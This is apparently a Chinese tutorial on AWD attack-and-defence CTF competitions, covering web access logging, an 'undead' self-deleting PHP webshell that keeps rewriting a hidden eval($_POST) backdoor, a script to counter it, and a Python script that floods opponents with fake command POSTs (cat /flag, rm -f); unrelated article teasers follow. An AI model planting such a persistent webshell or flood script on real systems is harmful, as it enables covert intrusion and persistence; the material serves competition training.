p81 红蓝对抗-AWD 监控不死马垃圾包资源库

数据来源

注意:一下写的东西是在p80 红蓝对抗-AWD 模式&准备&攻防&监控&批量这篇文章的基础上进行的

演示案例:

  • 防守-流量监控-实时获取访问数据包流量
  • 攻击-权限维持-不死脚本后门生成及查杀其他-恶意操作-搅屎棍发包回首掏共权限
  • 准备-漏洞资源-漏洞资料库及脚本工具库

前提:开启awd项目,并在真实机使用Xshll 7连接虚拟机与 awd靶机的终端,上一篇文章有详细的介绍。

案例 1 - 防守-流量监控-实时获取访问数据包流量

利用 WEB 访问监控配合文件监控能实现 WEB 攻击分析及后门清除操作,确保写入后门操作失效, 也能确保分析到无后门攻击漏洞的数据包便于后期利用

实现 WEB 访问监控,文件监控在上一篇文章

1)先上传监听脚本文件到靶机的app目录下,并挂载在后门文件footer.php中

log-record.php  (文章最后的链接可以直接下载,文件位置:AWD红蓝对抗资料工具-小迪安全\AWD_Hunter-master\script\php)

<?php
date_default_timezone_set("Asia/Shanghai");

if (!function_exists('getallheaders')) {
    function getallheaders() {
    $headers = [];
    foreach ($_SERVER as $name => $value) {
        if (substr($name, 0, 5) == 'HTTP_') {
            $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
        }
    }
        return $headers;
    }
    
}


function WAF_log() {
global $WAF_query, $WAF_headers, $WAF_post, $WAF_log;
$tmp  = "[" . date('y-m-d H:i:s') . "]\n";
$tmp .= "SRC IP: " . $_SERVER["REMOTE_ADDR"]."\n";
$tmp .= $_SERVER['REQUEST_METHOD'].''.'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]."\n";

foreach($WAF_headers as $k => $v) {
if($k=='Accept-Encoding'||$k=='Accept-Language'||$k=='Accept'||$k=='User-Agent'||$k=='Referer'||$k=='Cookie'||$k=='X-Forwarded-For')
$tmp .= $k . ': ' . $v . "\n";
}
if (!empty($WAF_post)) {
$tmp .= "\n". $WAF_post . "\n";
}
$tmp .= "\n";
@file_put_contents($WAF_log."log_".date("H",time()), $tmp, FILE_APPEND);
}

$WAF_query = $_SERVER['QUERY_STRING'];
$WAF_headers = getallheaders();
$WAF_post = @file_get_contents('php://input');
$WAF_log = '/tmp/';
$WAF_AD_log = '';

WAF_log();
?>

代码解析:

简单理解就是这个脚本会监听网站的行为生成日志文件log_?到当前目录下的 tmp文件夹内

挂载文件

2)检验脚本效果

1、在靶机的终端输入:

        cd tmp                    # 切换到tmp目录下

        ls                            # 查看当前目录的内容,找到生成的日志文件log_?  我这里是log_18

        tail -f log_18          # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止(就是监听log_18日志文件的实时变化)

2、在真实机打开靶机的网站,虚拟机ip:8801  team1    8802  team1     8803  team3(我的脚本是上传team1中所以这里用8801连接)

回到终端查看日志

3、WEB 访问监控的作用

  1. 分析有后门或无后门的攻击行为数据包找到漏洞进行修复
  2. 分析到成功攻击的数据包进行自我利用,用来攻击其他队伍

案例 2 - 攻击-权限维持不死脚本后门生成及查杀

在攻击利用后门获取 Flag 时,不死后门的权限维持尤为重要,同样防守方也要掌握对其不死后门的 查杀和利用,这样才能获取更高的分数,对比文件监控前后问题(文件监控越早开启越好,在文件监控开启后不死马是不能生效的,反之一样)

1)上传不死马

不死马.php

<?php 
ignore_user_abort(true);          // ignore_user_abort 设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行
set_time_limit(0);                     // set_time_limit设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,如果设置为零,没有时间方面的限制。

unlink(__FILE__);                     // unlink() 删除函数的方法,__FILE__代表当前文件自己,删除自己防止被查杀
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>';  // 定义后面代码
while (1){                                // 设置无限循环
    file_put_contents($file,$code);       // file_put_contents()函数可以将一个字符串写入文件,写入后门代码
    usleep(5000);                        // usleep()函数是把调用该函数的线程挂起一段时间(就是暂停执行一段时间),单位是微秒(百万分之一秒)
}
?>

2)改一下不死马的名称与木马生成文件的名称,让人不易发现

文件名改成xd.php , 生成的文件改成 x.php

3)使用不死马

1. 首先访问xd.php文件让他生成不死马(x.php),生成x.php文件后我们原来的xd.php文件就会自动被删除掉(unlink(__FILE__);   // 这句代码做的)

http://192.168.1.13:8801/xd.php

2. 回到Xftp 7 查看

无论是在Xftp 7中还是虚拟机中删除都是删除不掉的

4)克制不死马

1.ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

2.重启php等web服务

3.用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

4.创建一个和不死马生成的马一样名字的文件夹。

这里演示使用脚本的方法,创建一个fuck_x.php文件写入以下代码上传到靶机

<?php 
ignore_user_abort(true);        
set_time_limit(0);                   

unlink(__FILE__);                  
$file = 'x.php';         // 注意这里的文件名要与不死马的一样
$code = '干掉不死马,随便写,不写也可以';
while (1){                             
    file_put_contents($file,$code);      
    usleep(1000);                        // 不死马这里是5000微秒,我们就1000这样生成文件的速度就比他快,就能一直替换掉他
}
?>

运行我们的克制文件 

http://192.168.1.13:8801/fuck_x.php

查看x.php文件 

案例 3 - 其他-恶意操作-搅屎棍发包回首掏共权限

作为各种技术大家都要用的情况下,一个好的攻击漏洞和思路不被捕获和发现,一个好的套路浪费
对手的时间,搅屎棍发包回首掏共权限利用思路可以尝试使用

搅屎棍:目的就是浪费对手时间,我们发的包访问的文件很多不存在对方甚至会怀疑你把文件隐藏起来了又是各种找。

回首掏:配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试。

1)写脚本(无限发包)

awd_jiaosigun.py
import requests                   # requests这包是用来发送网络请求的
import time                       # 时间模块

def scan_attack():
    shell_file = {'index.php','about.php','services.php','contact.php'}         # 我发现如果目标不存在这个文件,日志是不会记录的,所以这里我写目标靶机的url页面路径
    payload = {'cat /flag','ls -al','rm -f','echo 1'}                           # 随便写几个命令,等下用来发送请求误导防御者
    while 1:                         # 设置无限循环不停的发包
        for i in range(8801, 8804):  # range(num1,num2) 生成数字序列,不包含num2,8801代表第一个靶机  8802 第二个,我这里就开了3个靶机,就是8801-8803
            for ii in shell_file:
                url = f'http://192.168.1.13:{i}/{ii}'   # 拼接文件访问地址,ii就是遍历出来的文件名,这个文件不需要真实存在只是用来误导防御者的
                for iii in payload:  # 这里循环payload内的系统命令
                    data = {
                        'cmd': iii  # 一般一句话马都是会有一个形参接收传入的命令,这里的cmd也是随便写的
                    }
                    try:  # 设置无限循环
                        requests.post(url, data = data)  # 利用requests模块发送post请求
                        print(url)
                        # print("正在搅屎:" + str(i) + '|' + ii + '|' + iii)
                        time.sleep(0.5)  # 暂停0.5s让程序不要跑太快
                    except Exception as e:
                        print(e)
                        pass

if __name__ == '__main__':
    scan_attack()

2)开启流量监听(跟上面讲的步骤一样)

        cd tmp                   # 切换到tmp目录下

        ls                            # 查看当前目录的内容,找到生成的日志文件log_?  我这里是log_18

        tail -f log_22         # 需要注意的是log_? 最后这里数字是会变的

3)运行代码,然后查看日志

案例 4-准备-漏洞资源-漏洞资料库及脚本工具库

比赛准备:如何收集并整理好漏洞,文档资料,脚本工具等
漏洞库: exploitdb github 监控最新信息,平常自己收集整理
文档资料:零组类似文档离线版爬虫,各类资料,平常自己收集整理
脚本工具:忍者系统配合自己常用工具, github 监控 awd 脚本,收集整理
忍者安全渗透系统(NINJITSU OS V3)的安装详细过程,亲测新旧vm版本都可安装,附带下载来源_黑色地带(崛起)的博客-CSDN博客

涉及资源:

https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ 提取码:
xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/1979.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WPF 认识WPF

什么是WPF?WPF是Windows Presentation Foundation(Windows展示基础)简称&#xff0c;顾名思义是专门编写表示层的技术。WPF绚丽界面如下&#xff1a;GUI发展及WPF历史&#xff1f;Windows系统平台上从事图形用户界面GUI(Graphic User Interface)已经经历了多次换代&#xff0c…

web前端开发和后端开发哪个难度大?

前言 因为涉及到的具体的应用的领域不同&#xff0c;所以说不能简单地说哪一个难&#xff0c;对于前端而言你会感觉到入门会非常的简单&#xff0c;这也是会给许多人一种错觉&#xff0c;前端很简单&#xff0c;但是只能说是在入门理解上是有利于新手的&#xff0c;前端在主要…

二叉树系统刷题1

文章目录**BM26** **求二叉树的层序遍历****BM27** **按之字形顺序打印二叉树****BM28** **二叉树的最大深度****BM29** **二叉树中和为某一值的路径(一)****BM30** **二叉搜索树与双向链表****BM31** **对称的二叉树****BM32** **合并二叉树****BM34** **判断是不是二叉搜索树…

【数据结构】KMP算法细节详解

KMP算法细节详解前言一、字符串匹配问题1.BF算法2.KMP算法二、next数组三、手写nex思想四、机算next思想五、next数组细节理解六、nextVal数组七、KMP算法代码实现八、nextVal数组代码实现完结前言 KMP算法是为了字符串匹配问题而被研究出来的&#xff0c;字符串匹配问题就是查…

真实的软件测试日常工作是咋样的?

最近很多粉丝问我&#xff0c;小姐姐&#xff0c;现在大环境不景气&#xff0c;传统行业不好做了&#xff0c;想转行软件测试&#xff0c;想知道软件测试日常工作是咋样的&#xff1f;平常的工作内容是什么&#xff1f; 别急&#xff0c;今天跟大家细细说一下一个合格的软件测…

【LeetCode每日一题】——面试题17.21.直方图的水量

文章目录一【题目类别】二【题目难度】三【题目编号】四【题目描述】五【题目示例】六【解题思路】七【时间频度】八【代码实现】九【提交结果】一【题目类别】 双指针 二【题目难度】 困难 三【题目编号】 面试题17.21.直方图的水量 四【题目描述】 给定一个直方图(也称…

Android Studio 中使用 Gradle 配置多渠道打包 配置不同的渠道名称 配置不同的App名称 配置不同的Logo

废话三种操作都是可以混合一起用的&#xff0c;本来也不是很难的事情&#xff0c;为了方便分别理解&#xff0c;这里我就分开处理了。如果需要将打包出来的apk的名称自动命名成指定格式&#xff0c;也可以进行配置&#xff0c;我这里没这个需求&#xff0c;所以这里就不讨论了。…

晶晨S905D3切换到外部phy方法

文章目录 前言一、s905d3的以太网驱动的理解二、修改设备树注意前言 随着芯片的国产化推荐,越来越多的国产芯片被大家重视起来,但是国产的一些稍微高性能的芯片资料太少,这里把调实phy的流程记录一下,不做太多的理论分析 一、s905d3的以太网驱动的理解 如果拿到sdk后,默…

ESP32设备驱动-ADXL335加速计驱动

ADXL335加速计驱动 文章目录 ADXL335加速计驱动1、ADXL335介绍2、硬件准备3、软件准备4、驱动实现1、ADXL335介绍 ADXL335 是一款小型、薄型、低功耗、完整的 3 轴加速度计,具有信号调理电压输出。 该产品以 3 g 的最小满量程测量加速度。它可以测量倾斜传感应用中的静态重力…

JAVASE/封装、继承、多态

博客制作不易&#xff0c;欢迎各位点赞&#x1f44d;收藏⭐关注前言在学习面向对象编程语言时&#xff0c;封装、继承、多态则是我们必须学习和使用的三大特征。本文通过举例&#xff0c;说明了该三大特征的基本权限特点。一、访问限定符范围private默认权限protectedpublic同一…

springcloud3 nacos,sentinel,ribbon,openfegin等整合案例4[fallback+blockhandler完美整合]

一 说明 1.1 结论 SentinelResource(value "fb",fallback "handlerFallback") //fallback只负责业务异常 SentinelResource(value "fb",blockHandler "blockHandler") //blockHandler只负责sentinel控制台配置违规 假设fallbac…

国内版的ChatGPT弯道超车的机会在哪里?

前言 从去年11月最后一天ChatGPT诞生&#xff0c;截至目前&#xff0c;ChatGPT的热度可谓是爆了。众所周知&#xff0c;ChatGPT是美国“开放人工智能研究中心”研发的聊天机器人程序&#xff0c;它是一个人工智能技术驱动的自然语言处理工具&#xff0c;它能够通过学习和理解人…

Android性能优化的底层逻辑

前言 性能优化仿佛成了每个程序员开发的必经之路&#xff0c;要想出人头地&#xff0c;与众不同&#xff0c;你还真需要下点功夫去研究Android的性能优化&#xff0c;比如说&#xff0c;从优化应用启动、UI加载、再到内存、CPU、GPU、IO、还有耗电等等&#xff0c;当你展开一个…

Docker部署springcloud项目(清晰明了)

概述 最近在想做个cloud项目,gitee上找了个模板项目&#xff0c;后端使用到 Nacos、Gateway、Security等技术&#xff0c;需要到 Docker 容器部署&#xff0c;在此总结一下&#xff0c;若有不足之处&#xff0c;望大佬们可以指出。 什么是 Docker Docker 使用 Google 公司推…

【8】核心易中期刊推荐——人工智能与机器人

🚀🚀🚀NEW!!!核心易中期刊推荐栏目来啦 ~ 📚🍀 核心期刊在国内的应用范围非常广,核心期刊发表论文是国内很多作者晋升的硬性要求,并且在国内属于顶尖论文发表,具有很高的学术价值。在中文核心目录体系中,权威代表有CSSCI、CSCD和北大核心。其中,中文期刊的数…

【C++】Google编码风格学习

Google规范线上地址&#xff1a;https://zh-google-styleguide.readthedocs.io/en/latest/ 文章目录1. 头文件2. 作用域3. 类4. 函数5. 其他C特性6. 命名约定7. 注释8. 格式1. 头文件 每个cpp/cc文件都对应一个h头文件&#xff0c;除单元测试代码和只包含main()的文件外。 所…

100天精通Python(可视化篇)——第80天:matplotlib绘制不同种类炫酷柱状图代码实战(簇状、堆积、横向、百分比、3D柱状图)

文章目录0. 专栏导读1. 普通柱状图2. 簇状柱形图3. 堆积柱形图4. 横向柱状图5. 横向双向柱状图6. 百分比堆积柱形图7. 3D柱形图8. 3D堆积柱形图9. 3D百分比堆积柱形图0. 专栏导读 &#x1f3c6;&#x1f3c6;作者介绍&#xff1a;Python领域优质创作者、CSDN/华为云/阿里云/掘金…

Python读写EXCEL文件常用方法大全

python读写excel的方式有很多&#xff0c;不同的模块在读写的讲法上稍有区别&#xff0c;这里我主要介绍几个常用的方式。 用xlrd和xlwt进行excel读写&#xff1b;用openpyxl进行excel读写&#xff1b;用pandas进行excel读写&#xff1b; 一、数据准备 为了方便演示&#xff…

基于深度学习的动物识别系统(YOLOv5清新界面版,Python代码)

摘要&#xff1a;动物识别系统用于识别和统计常见动物数量&#xff0c;通过深度学习技术检测日常几种动物图像识别&#xff0c;支持图片、视频和摄像头画面等形式。在介绍算法原理的同时&#xff0c;给出Python的实现代码、训练数据集以及PyQt的UI界面。动物识别系统主要用于常…

C++ , STL常用容器

STLSTL初识STL的诞生STL基本概念STL六大组件STL中的容器、算法、迭代器容器算法迭代器初识STL — 常用容器string容器vector容器deque容器stack容器queue容器list容器set/ multiset 容器map/ multimap 容器C 模板. STL初识 STL的诞生 长久以来&#xff0c;软件界一直希望建立…